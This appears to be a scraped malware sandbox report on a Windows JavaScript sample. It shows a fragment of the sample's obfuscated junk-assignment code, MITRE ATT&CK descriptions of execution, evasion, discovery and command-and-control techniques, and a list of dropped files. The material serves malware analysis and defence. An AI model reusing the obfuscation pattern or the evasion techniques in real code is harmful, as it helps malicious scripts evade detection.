1413	emvtal = "Y";
1414	emvtal = "D";
1415	emvtal = "j";
1416	emvtal = "B";
1417	emvtal = "K";
1418	emvtal = "F";
1419	emvtal = "o";
1420	emvtal = "s";
1421	emvtal = "Q";
1422	emvtal = "V";
1423	emvtal = "s";
1424	emvtal = "u";
1425	emvtal = "L";
1426	heant = "F";
1427	heant = "j";
1428	heant = "v";
1429	heant = "S";
1430	heant = "G";
1431	heant = "t";
1432	heant = "v";
1433	heant = "X";
1434	heant = "K";
1435	heant = "N";
1436	heant = "Y";
1437	heant = "a";
1438	heant = "V";
1439	heant = "g";
1440	heant = "Q";
1441	heant = "R";
1442	heant = "a";
1443	heant = "R";
1444	heant = "x";
1445	heant = "n";
1446	heant = "a";
1447	heant = "Z";
1448	heant = "X";
1449	heant = "i";
1450	heant = "z";
1451	heant = "D";
1452	heant = "Y";
1453	heant = "S";
1454	heant = "f";
1455	heant = "l";
1456	heant = "j";
1457	heant = "L";
1458	heant = "h";
1459	heant = "w";
1460	heant = "l";
1461	heant = "O";
1462	heant = "g";
1463	heant = "i";
1464	heant = "x";
1465	heant = "c";
1466	heant = "o";
1467	heant = "i";
1468	heant = "d";
1469	heant = "g";
1470	heant = "l";
1471	mtajfbbfm = "U";
1472	mtajfbbfm = "v";
1473	mtajfbbfm = "p";
1474	mtajfbbfm = "C";
1475	mtajfbbfm = "t";
1476	mtajfbbfm = "m";
1477	mtajfbbfm = "p";
1478	mtajfbbfm = "s";
1479	mtajfbbfm = "K";
1480	mtajfbbfm = "v";
1481	mtajfbbfm = "V";
1482	mtajfbbfm = "O";
1483	mtajfbbfm = "v";
1484	mtajfbbfm = "l";
1485	mtajfbbfm = "D";
1486	mtajfbbfm = "M";
1487	mtajfbbfm = "Q";
1488	mtajfbbfm = "e";
1489	mtajfbbfm = "w";
1490	mtajfbbfm = "U";
1491	mtajfbbfm = "l";
1492	mtajfbbfm = "k";
1493	mtajfbbfm = "L";
1494	mtajfbbfm = "S";
1495	mtajfbbfm = "D";
1496	mtajfbbfm = ":";
1497	kwyvfprur ( );	kwyvfprur() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4947276292772611217.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\305c28cb-f18e-46dc-8979-1a0ca87f4858.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5308

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5308

Windows Analysis Report
4947276292772611217.js